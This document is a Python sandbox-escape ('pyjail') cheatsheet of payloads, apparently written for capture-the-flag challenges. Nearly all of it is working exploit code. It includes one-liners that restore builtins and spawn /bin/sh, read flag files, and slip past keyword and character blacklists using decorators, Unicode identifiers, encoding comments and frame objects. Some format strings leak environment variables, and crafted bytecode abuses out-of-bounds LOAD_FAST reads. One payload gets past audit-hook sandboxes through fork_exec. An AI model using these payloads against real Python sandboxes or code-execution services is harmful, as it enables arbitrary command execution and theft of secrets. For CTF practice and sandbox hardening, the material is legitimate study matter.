Pyjail cheatsheet
Common payloads
no builtins, inside an interactive shell/multiple exec
# Thanks @Loldemort del __builtins__ exec(input())
Restore builtins
help.__call__.__builtins__ # or __globals__ -> help.__call__.__globals__["sys"].modules["os"].system("/bin/sh") license.__call__.__builtins__ # or __globals__ credits.__call__.__builtins__ # or __globals__ __build_class__.__self__ __import__.__self__ abs.__self__ aiter.__self__ all.__self__ anext.__self__ any.__self__ ascii.__self__ bin.__self__ breakpoint.__self__ callable.__self__ chr.__self__ compile.__self__ delattr.__self__ dir.__self__ divmod.__self__ eval.__self__ exec.__self__ format.__self__ getattr.__self__ globals.__self__ hasattr.__self__ hash.__self__ hex.__self__ id.__self__ input.__self__ isinstance.__self__ issubclass.__self__ iter.__self__ len.__self__ locals.__self__ max.__self__ min.__self__ next.__self__ oct.__self__ ord.__self__ pow.__self__ print.__self__ repr.__self__ round.__self__ setattr.__self__ sorted.__self__ sum.__self__ vars.__self__ user_defined_function.__builtins__
Spawning a shell
breakpoint() # import os; os.system("/bin/sh")
exec(input()) # import os; os.system("/bin/sh")
eval(input()) # __import__("os").system("/bin/sh")
Read a file
help() # then send "print\n:e/flag"
# to stderr exit(set(open("flag"))) exit(*open("flag")) help(*open("flag")) # this also works with (stdout/stderr) closed open(*open("flag")) compile(".","flag","exec") # flag printed to stderr
# to stdout help(*open("flag")) # this works like a normal print set(open("flag")) # only works inside an interactive console print(*open("flag"))
Deleting a variable
# Using try except: delete_me = "" try: p except NameError as delete_me: pass print(delete_me) # error
# using del delete_me = "" del delete_me print(delete_me) # error
Bypassing common blacklists
No function calls
@exec @input def a():pass # or class a:pass
No function call and no exec/eval
@print @set @open @input def a():pass # or class a:pass
No function call, no exec/eval, no \n, no spaces, no tabs
@print\r@set\r@open\r@input\rclass\x0ca:pass
No ASCII letters
# I usually use https://lingojam.com/ItalicTextGenerator ๐ฃ๐ณ๐ฆ๐ข๐ฌ๐ฑ๐ฐ๐ช๐ฏ๐ต() # import os;os.system("/bin/sh")
Other unicode bypasses: https://peps.python.org/pep-0672/
no ASCII letters, no underscores, inside eval
_๏ผฟ๐ช๐ฎ๐ฑ๐ฐ๐ณ๐ต๏ผฟ_(๐ช๐ฏ๐ฑ๐ถ๐ต()).system(๐ช๐ฏ๐ฑ๐ถ๐ต())
no ASCII letters, no double underscores, no builtins, inside eval
()._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_._๏ผฟ๐ฎ๐ณ๐ฐ๏ผฟ_[1]._๏ผฟ๐ด๐ถ๐ฃ๐ค๐ญ๐ข๐ด๐ด๐ฆ๐ด๏ผฟ_()[104].๐ญ๐ฐ๐ข๐ฅ_๐ฎ๐ฐ๐ฅ๐ถ๐ญ๐ฆ("\157\163").๐ด๐บ๐ด๐ต๐ฆ๐ฎ("\57\142\151\156\57\163\150")
no ASCII letters, no double underscores, no builtins, no quotes/double quotes inside eval (>= python3.8)
[๐บ:=()._๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ_, ๐ข:=y[19],()._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_._๏ผฟ๐ฎ๐ณ๐ฐ๏ผฟ_[1]._๏ผฟ๐ด๐ถ๐ฃ๐ค๐ญ๐ข๐ด๐ด๐ฆ๐ด๏ผฟ_()[104].๐ญ๐ฐ๐ข๐ฅ_๐ฎ๐ฐ๐ฅ๐ถ๐ญ๐ฆ(๐บ[34]+๐ข).๐ด๐บ๐ด๐ต๐ฆ๐ฎ(๐ข+๐บ[56])]
Only imports
from os import system as __getattr__; from __main__ import sh
Other oneliners
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() ().__class__.__subclasses__()[19].__repr__.__globals__["_sys"].modules["os"].system("ls") (1).__class__.__subclasses__()[2].__rand__.__globals__["sys"].modules["os"].system("ls") [].__class__.__subclasses__()[1].__init__.__builtins__["__import__"]("os").system("ls") [].__class__.__subclasses__()[1].__hash__.__builtins__["__import__"]("os").system("ls") # if builtins aren't deleted import sys;sys.stderr.flush=breakpoint import sys;sys.stdout.flush=breakpoint import pdb,builtins as e;e.set=breakpoint;a import ctypes; import sys; import os; [os.system for os.fspath in [os.system]]; ctypes.cdll[sys.executable] import os; import sys; [sys for sys.prefix in [sys.executable]]; [sys for os.path.normpath in [os.system]]; import sysconfig
Bypass parsers using comments and encodings
This only works in certain cases:
- Everything is put into a file and then executed
- There is something like
exec(data)wheretype(data) == bytes
# -*- coding: utf_7 -*- def f(x): return x #+AAo-print(open("flag.txt").read()) # Thanks @collodel
multiple exec, no dots, no builtins/builtins blacklisted + other blacklisted words
# only works if sys is already imported __builtins__ = sys __builtins__ = modules __builtins__ = os system("cat /flag")
builtins are deleted from everywhere:
Bypass blacklists using generators
# Way better than (lambda x:x).__globals__ (x for x in ()).gi_frame.f_builtins (x for x in ()).gi_frame.f_globals
Bypass blacklists using asynchronous functions
async def a():pass a().cr_frame.f_globals
Other ways to obtain a frame
(sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))
No (), inside eval
# _ is a class (eg. `class _:pass`) def call_function(f, arg): return (f"[[None for _.__class_getitem__ in [{f}]]," f"_[{arg}]][True]") # call_function("exec", "'breakpoint()'") # output: [[None for _.__class_getitem__ in [exec]],_['breakpoint()']][True]
Bypass audit sandboxes
__builtins__.__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat", b'flag.txt'], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__import__('os').pipe()), False, False, None, None, None, -1, None)
format strings
Leak data
"{0.__self__.help.__call__.__globals__[sys].modules[os].environ}".format(print) "{a.__self__.help.__call__.__globals__[sys].modules[os].environ}".format_map({"a":print}) '{0.gi_frame.f_globals}'.format((x for x in ())) '{a.gi_frame.f_globals}'.format_map({"a":(x for x in ())}) '{a.gi_frame.f_globals}'.format_map(dict(a=(x for x in ()))) [y:=[],y.extend([('{0.gi_frame.f_back.f_back.f_back}'.format(x) for x in y)]),[x for x in y[0]][0]] "{0.gi_frame.f_builtins[help].__call__.__globals__[sys].modules[os].environ}".format((x for x in ())) # this also works "{0\x2e\x5f\x5fclass\x5f\x5f}".format(0)
OOB Read using LOAD_FAST
# Thanks to @splitline, https://blog.splitline.tw/hitcon-ctf-2022/#v-o-i-d-misc # This is just an example (lambda:0).__class__((lambda:0).__code__.replace(co_code=b'|\x17S\x00', co_argcount=0, co_nlocals=0, co_varnames=( )), {})()["exec"]("import os;os.system('ls')")
Bytecode2RCE exploiting OOB READ with LOAD_FAST
Let's say you have something similar to this (B01lers CTF - awpcode):
from types import CodeType def x():pass x.__code__ = CodeType(0,0,0,0,0,0,bytes.fromhex(input(">>> ")[:176]),(),(),(),'ฮ','โฆ','โ๏ธ',0,bytes(),bytes(),(),()) a = x()
Then, this can be exploited in two different ways:
V1
# From https://blog.neilhommes.xyz/docs/Writeups/2024/bctf.html#awpcode---hard import dis def assemble(ops): cache = bytes([dis.opmap["CACHE"], 0]) ret = b"" for op, arg in ops: opc = dis.opmap[op] ret += bytes([opc, arg]) ret += cache * dis._inline_cache_entries[opc] return ret co_code = assemble( [ ("RESUME", 0), ("LOAD_CONST", 115), ("UNPACK_EX", 29), ("BUILD_TUPLE", 28), ("POP_TOP", 0), ("SWAP", 2), ("POP_TOP", 0), ("LOAD_CONST", 115), ("SWAP", 2), ("BINARY_SUBSCR", 0), ("COPY", 1), ("CALL", 0), # input ("LOAD_CONST", 115), ("UNPACK_EX", 21), ("BUILD_TUPLE", 20), ("POP_TOP", 0), ("SWAP", 2), ("POP_TOP", 0), ("LOAD_CONST", 115), ("SWAP", 2), ("BINARY_SUBSCR", 0), ("SWAP", 2), ("CALL", 0), # exec ("RETURN_VALUE", 0), ] ) print(co_code.hex())
V2
This is only possible if the input is cut before being passed to bytes.fromhex (for example)
from pwn import * from opcode import opmap co_code = bytes([ opmap["KW_NAMES"], 0, opmap["RESUME"], 0, opmap["PUSH_NULL"], 0, opmap["LOAD_FAST"], 82, # exec opmap["LOAD_FAST"], 6, # my input opmap["PRECALL"], 1, opmap["CACHE"], opmap["CACHE"], opmap["CALL"], 1, opmap["CACHE"], opmap["CACHE"], ]) payload = co_code.ljust(176, b"B") # add padding util the input limit is reached print(payload.hex().encode() + b" if __import__('os').system('cat /*') else 0")
No CALL or LOAD_GLOBAL using LOAD_GLOBAL_BUILTIN and CALL_BUILTIN_CLASS
From Pycjail returns - รฅngstromCTF 2024
The idea is to call the breakpoint() function using LOAD_GLOBAL_BUILTIN and CALL_BUILTIN_CLASS. To avoid causing a segfault when calling breakpoint, we can purposely throw an exception by using, for example, UNPACK_SEQUENCE_LIST (using an unknown opcode works too)
from opcode import opmap code = bytes([ 111, 1, # LOAD_GLOBAL_BUILTIN 6,6,6,6,6,6,6,6, # trash 29, 0, # CALL_BUILTIN_CLASS 6,6,6,6,6,6, # other trash 191,0 # unknown opcode -> error ]) print(code.hex())
Other useful things
user_defined_function.__closure__ user_defined_class.__reduce_ex__(user_defined_class(), n) pdb.set_trace() # works also if __builtins__ is empty